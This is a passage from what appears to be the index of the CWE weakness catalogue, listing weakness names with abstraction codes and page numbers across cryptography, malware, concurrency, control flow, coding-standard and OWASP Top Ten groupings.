 - B CWE-353: Missing Support for Integrity Check (p.803)
 - P CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities (p.970)
 - G CWE-436: Interpretation Conflict (p.971)
 - B CWE-437: Incomplete Model of Endpoint Features (p.973)
 - B CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') (p.1432)
- C CWE-903: SFP Primary Cluster: Cryptography (p.2103)
 - C CWE-958: SFP Secondary Cluster: Broken Cryptography (p.2115)
 - B CWE-325: Missing Cryptographic Step (p.732)
 - G CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.736)
 - B CWE-328: Use of Weak Hash (p.742)
 - V CWE-759: Use of a One-Way Hash without a Salt (p.1435)

- V CWE-760: Use of a One-Way Hash with a Predictable Salt (p.1440)
- C CWE-959: SFP Secondary Cluster: Weak Cryptography (p.2115)
 - B CWE-261: Weak Encoding for Password (p.586)
 - B CWE-322: Key Exchange without Entity Authentication (p.727)
 - V CWE-323: Reusing a Nonce, Key Pair in Encryption (p.729)
 - B CWE-324: Use of a Key Past its Expiration Date (p.730)
 - C CWE-326: Inadequate Encryption Strength (p.734)
 - V CWE-329: Generation of Predictable IV with CBC Mode (p.745)
 - B CWE-347: Improper Verification of Cryptographic Signature (p.787)
 - B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p.1288)
- C CWE-904: SFP Primary Cluster: Malware (p.2104)
 - C CWE-506: Embedded Malicious Code (p.1109)
 - B CWE-507: Trojan Horse (p.1110)
 - B CWE-508: Non-Replicating Malicious Code (p.1112)
 - B CWE-509: Replicating Malicious Code (Virus or Worm) (p.1113)
 - B CWE-510: Trapdoor (p.1113)
 - B CWE-511: Logic/Time Bomb (p.1115)
 - B CWE-512: Spyware (p.1116)
 - V CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p.122)
 - C CWE-968: SFP Secondary Cluster: Covert Channel (p.2121)
 - B CWE-385: Covert Timing Channel (p.866)
 - C CWE-514: Covert Channel (p.1117)
 - B CWE-515: Covert Storage Channel (p.1118)
- C CWE-905: SFP Primary Cluster: Predictability (p.2104)

- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p.219)
- G CWE-922: Insecure Storage of Sensitive Information (p.1654)
- B CWE-312: Cleartext Storage of Sensitive Information (p.708)
- V CWE-313: Cleartext Storage in a File or on Disk (p.712)
- V CWE-314: Cleartext Storage in the Registry (p.714)
- V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p.715)
- V CWE-316: Cleartext Storage of Sensitive Information in Memory (p.717)
- V CWE-317: Cleartext Storage of Sensitive Information in GUI (p.718)
- V CWE-318: Cleartext Storage of Sensitive Information in Executable (p.720)
- B CWE-921: Storage of Sensitive Data in a Mechanism without Access Control (p.1653)
- P CWE-682: Incorrect Calculation (p.1365)
- B CWE-128: Wrap-around Error (p.315)
- B CWE-131: Incorrect Calculation of Buffer Size (p.331)
- B CWE-1335: Incorrect Bitwise Shift of Integer (p.2007)
- B CWE-1339: Insufficient Precision or Accuracy of a Real Number (p.2014)
- B CWE-135: Incorrect Calculation of Multi-Byte String Length (p.346)
- B CWE-190: Integer Overflow or Wraparound (p.443)
- B CWE-191: Integer Underflow (Wrap or Wraparound) (p.450)
- B CWE-193: Off-by-one Error (p.456)
- B CWE-369: Divide By Zero (p.842)
- V CWE-467: Use of sizeof() on a Pointer Type (p.1020)
- B CWE-468: Incorrect Pointer Scaling (p.1023)
- B CWE-469: Use of Pointer Subtraction to Determine Size (p.1024)
- P CWE-691: Insufficient Control Flow Management (p.1381)
- B CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls (p.1878)
- B CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior (p.1911)
- G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.817)
- B CWE-1223: Race Condition for Write-Once Attributes (p.1800)
- B CWE-1298: Hardware Logic Contains Race Conditions (p.1941)
- B CWE-364: Signal Handler Race Condition (p.826)
- B CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p.959)

- B CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe (p.1575)
- V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1052)
- B CWE-831: Signal Handler Function Associated with Multiple Signals (p.1586)
- B CWE-366: Race Condition within a Thread (p.833)
- B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.835)
- B CWE-363: Race Condition Enabling Link Following (p.824)
- B CWE-365: Race Condition in Switch (p.831)
- B CWE-368: Context Switching Race Condition (p.840)
- B CWE-421: Race Condition During Access to Alternate Channel (p.937)
- B CWE-689: Permission Race Condition During Resource Copy (p.1377)
- B CWE-430: Deployment of Wrong Handler (p.956)
- B CWE-431: Missing Handler (p.958)
- V CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p.1269)
- C CWE-662: Improper Synchronization (p.1324)
 - B CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element (p.1713)
- B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p.1327)
 - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1052)
 - V CWE-558: Use of getlogin() in Multithreaded Application (p.1162)
- C CWE-667: Improper Locking (p.1337)
 - B CWE-1232: Improper Lock Behavior After Power State Transition (p.1808)
 - B CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection (p.1810)
 - B CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks (p.1812)
 - B CWE-412: Unrestricted Externally Accessible Lock (p.919)
 - B CWE-413: Improper Resource Locking (p.922)
 - V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p.1215)
 - B CWE-414: Missing Lock Check (p.925)
 - B CWE-609: Double-Checked Locking (p.1246)
 - B CWE-764: Multiple Locks of a Critical Resource (p.1454)
 - B CWE-765: Multiple Unlocks of a Critical Resource (p.1455)
 - B CWE-832: Unlock of a Resource that is not Locked (p.1589)
 - B CWE-833: Deadlock (p.1590)
- B CWE-820: Missing Synchronization (p.1558)
 - V CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization (p.1749)
 - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p.1147)
 - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1176)
- B CWE-821: Incorrect Synchronization (p.1560)
 - B CWE-1088: Synchronous Access of Remote Resource without Timeout (p.1741)
 - B CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels (p.1876)
 - V CWE-572: Call to Thread run() instead of start() (p.1184)
 - V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p.1187)
- C CWE-670: Always-Incorrect Control Flow Implementation (p.1345)
 - B CWE-480: Use of Incorrect Operator (p.1054)
 - V CWE-481: Assigning instead of Comparing (p.1057)
 - V CWE-482: Comparing instead of Assigning (p.1060)
 - V CWE-597: Use of Wrong Operator in String Comparison (p.1222)
- B CWE-483: Incorrect Block Delimitation (p.1062)
- B CWE-484: Omitted Break Statement in Switch (p.1064)
- B CWE-617: Reachable Assertion (p.1259)
- B CWE-698: Execution After Redirect (EAR) (p.1393)
- B CWE-783: Operator Precedence Logic Error (p.1495)
- C CWE-674: Uncontrolled Recursion (p.1352)

- B CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p.1482)
- G CWE-696: Incorrect Behavior Order (p.1388)
- B CWE-1190: DMA Device Enabled Too Early in Boot Phase (p.1782)
- B CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control (p.1788)
- B CWE-1280: Access Control Check Implemented After Asset is Accessed (p.1909)
- B CWE-179: Incorrect Behavior Order: Early Validation (p.421)
- V CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p.424)
- V CWE-181: Incorrect Behavior Order: Validate Before Filter (p.426)
- B CWE-408: Incorrect Behavior Order: Early Amplification (p.914)
- B CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p.1156)
- G CWE-705: Incorrect Control Flow Scoping (p.1399)
- B CWE-248: Uncaught Exception (p.555)
- B CWE-600: Uncaught Exception in Servlet (p.1228)
- V CWE-382: J2EE Bad Practices: Use of System.exit() (p.860)
- B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p.882)
- B CWE-396: Declaration of Catch for Generic Exception (p.884)
- B CWE-397: Declaration of Throws for Generic Exception (p.886)
- B CWE-455: Non-exit on Failed Initialization (p.997)
- B CWE-584: Return Inside Finally Block (p.1204)
- B CWE-698: Execution After Redirect (EAR) (p.1393)
- B CWE-749: Exposed Dangerous Method or Function (p.1417)
- B CWE-618: Exposed Unsafe ActiveX Method (p.1262)
- V CWE-782: Exposed IOCTL with Insufficient Access Control (p.1493)
- V CWE-768: Incorrect Short Circuit Evaluation (p.1461)
- G CWE-799: Improper Control of Interaction Frequency (p.1539)
- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p.692)
- B CWE-837: Improper Enforcement of a Single, Unique Action (p.1598)
- G CWE-834: Excessive Iteration (p.1592)
- B CWE-1322: Use of Blocking Code in Single-threaded, Non-blocking Context (p.1983)
- B CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (p.1593)
- B CWE-841: Improper Enforcement of Behavioral Workflow (p.1607)
- B CWE-94: Improper Control of Generation of Code ('Code Injection') (p.207)
- B CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (p.2010)
- V CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.212)
- B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p.216)
- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p.219)
- P CWE-693: Protection Mechanism Failure (p.1384)
- G CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations (p.1694)
- B CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications (p.1841)
- B CWE-1253: Incorrect Selection of Fuse Values (p.1850)
- B CWE-1269: Product Released in Non-Release Configuration (p.1886)
- B CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques (p.1905)
- B CWE-1291: Public Key Re-Use for Signing both Debug and Production Code (p.1928)
- B CWE-1318: Missing Support for Security Features in On-chip Fabrics or Buses (p.1973)
- B CWE-1319: Improper Protection against Electromagnetic Fault Injection (EM-FI) (p.1976)
- B CWE-1326: Missing Immutable Root of Trust in Hardware (p.1989)
- B CWE-1338: Improper Protections Against Hardware Overheating (p.2012)
- B CWE-182: Collapse of Data into Unsafe Value (p.428)
- B CWE-184: Incomplete List of Disallowed Inputs (p.432)
- G CWE-311: Missing Encryption of Sensitive Data (p.701)

- B CWE-312: Cleartext Storage of Sensitive Information (p.708)
- V CWE-313: Cleartext Storage in a File or on Disk (p.712)
- V CWE-314: Cleartext Storage in the Registry (p.714)
- V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p.715)
- V CWE-316: Cleartext Storage of Sensitive Information in Memory (p.717)
- V CWE-317: Cleartext Storage of Sensitive Information in GUI (p.718)
- V CWE-318: Cleartext Storage of Sensitive Information in Executable (p.720)
- B CWE-319: Cleartext Transmission of Sensitive Information (p.721)
- V CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p.1)
- V CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p.1255)
- C CWE-326: Inadequate Encryption Strength (p.734)
- B CWE-261: Weak Encoding for Password (p.586)
- B CWE-328: Use of Weak Hash (p.742)
- C CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.736)
- B CWE-1240: Use of a Cryptographic Primitive with a Risky Implementation (p.1820)
- B CWE-328: Use of Weak Hash (p.742)
- V CWE-780: Use of RSA Algorithm without OAEP (p.1489)
- B CWE-916: Use of Password Hash With Insufficient Computational Effort (p.1645)
- V CWE-759: Use of a One-Way Hash without a Salt (p.1435)
- V CWE-760: Use of a One-Way Hash with a Predictable Salt (p.1440)
- C CWE-330: Use of Insufficiently Random Values (p.748)
- B CWE-1204: Generation of Weak Initialization Vector (IV) (p.1789)
- V CWE-329: Generation of Predictable IV with CBC Mode (p.745)
- B CWE-1241: Use of Predictable Algorithm in Random Number Generator (p.1826)
- B CWE-331: Insufficient Entropy (p.755)
- V CWE-332: Insufficient Entropy in PRNG (p.757)
- V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p.759)
- B CWE-334: Small Space of Random Values (p.761)
- V CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p.2)
- B CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) (p.763)
- V CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) (p.765)
- V CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) (p.767)
- V CWE-339: Small Seed Space in PRNG (p.772)
- B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p.769)
- C CWE-340: Generation of Predictable Numbers or Identifiers (p.774)
- B CWE-341: Predictable from Observable State (p.775)
- B CWE-342: Predictable Exact Value from Previous Values (p.777)
- B CWE-343: Predictable Value Range from Previous Values (p.779)
- B CWE-344: Use of Invariant Value in Dynamically Changing Context (p.780)
- V CWE-323: Reusing a Nonce, Key Pair in Encryption (p.729)
- B CWE-587: Assignment of a Fixed Address to a Pointer (p.1208)
- B CWE-798: Use of Hard-coded Credentials (p.1532)
- V CWE-259: Use of Hard-coded Password (p.580)
- V CWE-321: Use of Hard-coded Cryptographic Key (p.724)
- B CWE-804: Guessable CAPTCHA (p.1541)
- C CWE-345: Insufficient Verification of Data Authenticity (p.781)
- B CWE-1293: Missing Source Correlation of Multiple Independent Data (p.1932)
- B CWE-346: Origin Validation Error (p.783)
- B CWE-347: Improper Verification of Cryptographic Signature (p.787)
- B CWE-348: Use of Less Trusted Source (p.789)
- B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.791)
- B CWE-351: Insufficient Type Distinction (p.796)
- B CWE-352: Cross-Site Request Forgery (CSRF) (p.797)
- B CWE-353: Missing Support for Integrity Check (p.803)
- B CWE-354: Improper Validation of Integrity Check Value (p.805)

- B CWE-360: Trust of System Event Data (p.815)
- V CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p.938)
- B CWE-494: Download of Code Without Integrity Check (p.1086)
- V CWE-616: Incomplete Identification of Uploaded File Variables (PHP) (p.1258)
- V CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p.1304)
- B CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p.1308)
- B CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p.1657)
- B CWE-357: Insufficient UI Warning of Dangerous Operations (p.809)
- B CWE-450: Multiple Interpretations of UI Input (p.988)
- B CWE-358: Improperly Implemented Security Check for Standard (p.810)
- C CWE-424: Improper Protection of Alternate Path (p.940)
- B CWE-425: Direct Request ('Forced Browsing') (p.941)
- B CWE-602: Client-Side Enforcement of Server-Side Security (p.1235)
- B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1173)
- V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p.1498)
- B CWE-603: Use of Client-Side Authentication (p.1239)
- B CWE-653: Improper Isolation or Compartmentalization (p.1315)
- B CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC) (p.1780)
- B CWE-1303: Non-Transparent Sharing of Microarchitectural Resources (p.1953)
- B CWE-1331: Improper Isolation of Shared Resources in Network On Chip (NoC) (p.1998)
- B CWE-654: Reliance on a Single Factor in a Security Decision (p.1317)
- B CWE-308: Use of Single-factor Authentication (p.697)
- B CWE-309: Use of Password System for Primary Authentication (p.699)
- B CWE-655: Insufficient Psychological Acceptability (p.1319)
- B CWE-656: Reliance on Security Through Obscurity (p.1321)
- B CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') (p.1432)
- B CWE-778: Insufficient Logging (p.1486)
- B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1553)
- V CWE-302: Authentication Bypass by Assumed-Immutable Data (p.682)
- V CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p.792)
- V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p.1498)
- P CWE-697: Incorrect Comparison (p.1389)
- C CWE-1023: Incomplete Comparison with Missing Factors (p.1687)
- B CWE-184: Incomplete List of Disallowed Inputs (p.432)
- V CWE-187: Partial String Comparison (p.439)
- B CWE-478: Missing Default Case in Switch Statement (p.1048)
- B CWE-839: Numeric Range Comparison Without Minimum Check (p.1602)
- B CWE-1024: Comparison of Incompatible Types (p.1689)
- B CWE-1025: Comparison Using Wrong Factors (p.1690)
- V CWE-486: Comparison of Classes by Name (p.1067)
- V CWE-595: Comparison of Object References Instead of Object Contents (p.1219)
- V CWE-597: Use of Wrong Operator in String Comparison (p.1222)
- C CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations (p.1694)
- V CWE-1077: Floating Point Comparison with Incorrect Operator (p.1731)
- B CWE-1254: Incorrect Comparison Logic Granularity (p.1852)
- B CWE-183: Permissive List of Allowed Inputs (p.430)
- V CWE-942: Permissive Cross-domain Policy with Untrusted Domains (p.1673)
- C CWE-185: Incorrect Regular Expression (p.435)
- B CWE-1333: Inefficient Regular Expression Complexity (p.2003)
- B CWE-186: Overly Restrictive Regular Expression (p.437)
- B CWE-625: Permissive Regular Expression (p.1272)
- V CWE-777: Regular Expression without Anchors (p.1484)

- B CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p.1200)
- P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1394)
- B CWE-1247: Improper Protection Against Voltage and Clock Glitches (p.1837)
- B CWE-1332: Improper Handling of Faults that Lead to Instruction Skips (p.2000)
- B CWE-1351: Improper Handling of Hardware Behavior in Exceptionally Cold Environments (p.2023)
- B CWE-166: Improper Handling of Missing Special Element (p.397)
- B CWE-167: Improper Handling of Additional Special Element (p.398)
- B CWE-168: Improper Handling of Inconsistent Special Elements (p.400)
- C CWE-228: Improper Handling of Syntactically Invalid Structure (p.530)
 - B CWE-229: Improper Handling of Values (p.531)
 - V CWE-230: Improper Handling of Missing Values (p.532)
 - V CWE-231: Improper Handling of Extra Values (p.534)
 - V CWE-232: Improper Handling of Undefined Values (p.534)
 - B CWE-233: Improper Handling of Parameters (p.536)
 - V CWE-234: Failure to Handle Missing Parameter (p.537)
 - V CWE-235: Improper Handling of Extra Parameters (p.539)
 - V CWE-236: Improper Handling of Undefined Parameters (p.540)
 - B CWE-237: Improper Handling of Structural Elements (p.541)
 - V CWE-238: Improper Handling of Incomplete Structural Elements (p.542)
 - V CWE-239: Failure to Handle Incomplete Element (p.543)
 - B CWE-240: Improper Handling of Inconsistent Structural Elements (p.544)
 - B CWE-130: Improper Handling of Length Parameter Inconsistency (p.327)
 - B CWE-241: Improper Handling of Unexpected Data Type (p.545)
- B CWE-248: Uncaught Exception (p.555)
- B CWE-600: Uncaught Exception in Servlet (p.1228)
- B CWE-274: Improper Handling of Insufficient Privileges (p.616)
- V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p.759)
- B CWE-392: Missing Report of Error Condition (p.877)
- B CWE-393: Return of Wrong Status Code (p.879)
- B CWE-397: Declaration of Throws for Generic Exception (p.886)
- C CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1421)
 - B CWE-252: Unchecked Return Value (p.564)
 - B CWE-253: Incorrect Check of Function Return Value (p.571)
 - B CWE-273: Improper Check for Dropped Privileges (p.613)
 - B CWE-354: Improper Validation of Integrity Check Value (p.805)
 - B CWE-391: Unchecked Error Condition (p.874)
 - B CWE-394: Unexpected Status Code or Return Value (p.881)
 - B CWE-476: NULL Pointer Dereference (p.1039)
 - B CWE-690: Unchecked Return Value to NULL Pointer Dereference (p.1379)
- C CWE-755: Improper Handling of Exceptional Conditions (p.1429)
 - B CWE-1261: Improper Handling of Single Event Upsets (p.1869)
 - B CWE-209: Generation of Error Message Containing Sensitive Information (p.499)
 - B CWE-210: Self-generated Error Message Containing Sensitive Information (p.505)
 - B CWE-211: Externally-Generated Error Message Containing Sensitive Information (p.507)
 - V CWE-535: Exposure of Information Through Shell Error Message (p.1139)
 - V CWE-536: Servlet Runtime Error Message Containing Sensitive Information (p.1139)

 - B CWE-627: Dynamic Variable Evaluation (p.1276)
- P CWE-710: Improper Adherence to Coding Standards (p.1405)
 - B CWE-1041: Use of Redundant Code (p.1695)
 - B CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range (p.1698)
 - B CWE-1048: Invokable Control Element with Large Number of Outward Calls (p.1703)
 - C CWE-1059: Incomplete Documentation (p.1714)
 - B CWE-1053: Missing Documentation for Design (p.1708)
 - B CWE-1110: Incomplete Design Documentation (p.1761)
 - B CWE-1111: Incomplete I/O Documentation (p.1762)
 - B CWE-1112: Incomplete Documentation of Program Execution (p.1762)
 - B CWE-1118: Insufficient Documentation of Error Handling Techniques (p.1767)
 - C CWE-1061: Insufficient Encapsulation (p.1716)
 - B CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer (p.1709)
 - B CWE-1057: Data Access Operations Outside of Expected Data Manager Component (p.1712)
 - B CWE-1062: Parent Class with References to Child Class (p.1716)
 - B CWE-1083: Data Access from Outside Expected Data Manager Component (p.1736)
 - B CWE-1090: Method Containing Access of a Member Element from Another Class (p.1743)
 - B CWE-1100: Insufficient Isolation of System-Dependent Functions (p.1753)
 - B CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality (p.1757)
 - B CWE-188: Reliance on Data/Memory Layout (p.441)
 - B CWE-198: Use of Incorrect Byte Ordering (p.473)
 - V CWE-766: Critical Data Element Declared Public (p.1456)
 - B CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers (p.1719)
 - B CWE-1066: Missing Serialization Control Element (p.1720)
 - B CWE-1068: Inconsistency Between Implementation and Documented Design (p.1722)
 - V CWE-107: Struts: Unused Validation Form (p.242)
 - B CWE-1070: Serializable Data Element Containing non-Serializable Item Elements (p.1724)
 - C CWE-1076: Insufficient Adherence to Expected Conventions (p.1730)
 - V CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor (p.1699)
 - C CWE-1078: Inappropriate Source Code Style or Formatting (p.1732)
 - B CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code (p.1738)
 - B CWE-1099: Inconsistent Naming Conventions for Identifiers (p.1752)
 - B CWE-1106: Insufficient Use of Symbolic Constants (p.1758)
 - B CWE-1107: Insufficient Isolation of Symbolic Constant Definitions (p.1759)
 - B CWE-1109: Use of Same Variable for Multiple Purposes (p.1760)
 - B CWE-1113: Inappropriate Comment Style (p.1763)
 - B CWE-1114: Inappropriate Whitespace Style (p.1764)
 - B CWE-1115: Source Code Element without Standard Prologue (p.1764)
 - B CWE-1116: Inaccurate Comments (p.1765)
 - B CWE-1117: Callable with Insufficient Behavioral Summary (p.1766)
 - V CWE-546: Suspicious Comment (p.1150)
 - V CWE-547: Use of Hard-coded, Security-relevant Constants (p.1152)
 - B CWE-1079: Parent Class without Virtual Destructor Method (p.1733)
 - B CWE-1082: Class Instance Self Destruction Control Element (p.1735)
 - B CWE-1087: Class with Virtual Method without a Virtual Destructor (p.1740)
 - B CWE-1091: Use of Object without Invoking Destructor Method (p.1744)
 - B CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element (p.1750)
 - V CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element (p.1751)

- B CWE-1108: Excessive Reliance on Global Variables (p.1759)
- V CWE-586: Explicit Call to Finalize() (p.1207)
- B CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers (p.1745)
- C CWE-1093: Excessively Complex Data Representation (p.1746)
- B CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements (p.1697)
- B CWE-1055: Multiple Inheritance from Concrete Classes (p.1710)
- B CWE-1074: Class with Excessively Deep Inheritance (p.1728)
- B CWE-1086: Class with Excessive Number of Child Classes (p.1739)
- V CWE-110: Struts: Validator Without Form Field (p.248)
- B CWE-1101: Reliance on Runtime Component in Generated Code (p.1754)
- B CWE-1104: Use of Unmaintained Third Party Components (p.1756)
- C CWE-1120: Excessive Code Complexity (p.1768)
- B CWE-1047: Modules with Circular Dependencies (p.1702)
- B CWE-1056: Invokable Control Element with Variadic Parameters (p.1711)
- B CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses (p.1715)
- B CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters (p.1718)
- B CWE-1075: Unconditional Control Flow Transfer outside of Switch Block (p.1729)
- B CWE-1080: Source Code File with Excessive Number of Lines of Code (p.1734)
- B CWE-1095: Loop Condition Value Update within the Loop (p.1748)
- B CWE-1119: Excessive Use of Unconditional Branching (p.1768)
- B CWE-1121: Excessive McCabe Cyclomatic Complexity (p.1769)
- B CWE-1122: Excessive Halstead Complexity (p.1770)
- B CWE-1123: Excessive Use of Self-Modifying Code (p.1771)
- B CWE-1124: Excessively Deep Nesting (p.1772)
- B CWE-1125: Excessive Attack Surface (p.1773)
- B CWE-1126: Declaration of Variable with Unnecessarily Wide Scope (p.1773)
- B CWE-1127: Compilation with Insufficient Warnings or Errors (p.1774)
- C CWE-1164: Irrelevant Code (p.1775)
- B CWE-1071: Empty Code Block (p.1725)
 - B CWE-1069: Empty Exception Block (p.1723)
 - B CWE-585: Empty Synchronized Block (p.1205)
- B CWE-561: Dead Code (p.1165)
- V CWE-563: Assignment to Variable without Use (p.1170)
- C CWE-1177: Use of Prohibited Code (p.1779)
- B CWE-242: Use of Inherently Dangerous Function (p.546)
- B CWE-676: Use of Potentially Dangerous Function (p.1356)
- V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p.1501)
- B CWE-1209: Failure to Disable Reserved Bits (p.1792)
- B CWE-476: NULL Pointer Dereference (p.1039)
- B CWE-690: Unchecked Return Value to NULL Pointer Dereference (p.1379)
- B CWE-477: Use of Obsolete Function (p.1045)
- B CWE-484: Omitted Break Statement in Switch (p.1064)
- B CWE-489: Active Debug Code (p.1073)
- V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p.9)
- C CWE-506: Embedded Malicious Code (p.1109)
- B CWE-507: Trojan Horse (p.1110)

-  CWE-780: Use of RSA Algorithm without OAEP (p.1489)
-  CWE-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection (p.2076)
-  CWE-916: Use of Password Hash With Insufficient Computational Effort (p.1645)
-  CWE-1347: OWASP Top Ten 2021 Category A03:2021 - Injection (p.2205)
 -  CWE-20: Improper Input Validation (p.19)
 -  CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p.130)
 -  CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p.134)
 -  CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.136)
 -  CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.142)
 -  CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.154)
 -  CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p.167)
 -  CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p.173)
 -  CWE-87: Improper Neutralization of Alternate XSS Syntax (p.181)
 -  CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.183)
 -  CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.189)
 -  CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.200)
 -  CWE-91: XML Injection (aka Blind XPath Injection) (p.202)
 -  CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p.205)
 -  CWE-94: Improper Control of Generation of Code ('Code Injection') (p.207)
 -  CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.212)
 -  CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p.216)
 -  CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p.219)
 -  CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p.220)
 -  CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.227)
 -  CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p.254)
 -  CWE-116: Improper Encoding or Escaping of Output (p.263)
 -  CWE-138: Improper Neutralization of Special Elements (p.348)
 -  CWE-184: Incomplete List of Disallowed Inputs (p.432)
 -  CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.1026)
 -  CWE-471: Modification of Assumed-Immutable Data (MAID) (p.1030)
 -  CWE-564: SQL Injection: Hibernate (p.1171)
 -  CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p.1248)
 -  CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1298)
 -  CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p.1300)
 -  CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1313)

- B CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p.1649)
- C CWE-1348: OWASP Top Ten 2021 Category A04:2021 - Insecure Design (p.2207)
 - B CWE-73: External Control of File Name or Path (p.125)
 - B CWE-183: Permissive List of Allowed Inputs (p.430)
 - B CWE-209: Generation of Error Message Containing Sensitive Information (p.499)
 - B CWE-213: Exposure of Sensitive Information Due to Incompatible Policies (p.513)
 - V CWE-235: Improper Handling of Extra Parameters (p.539)
 - B CWE-256: Plaintext Storage of a Password (p.573)
 - B CWE-257: Storing Passwords in a Recoverable Format (p.575)
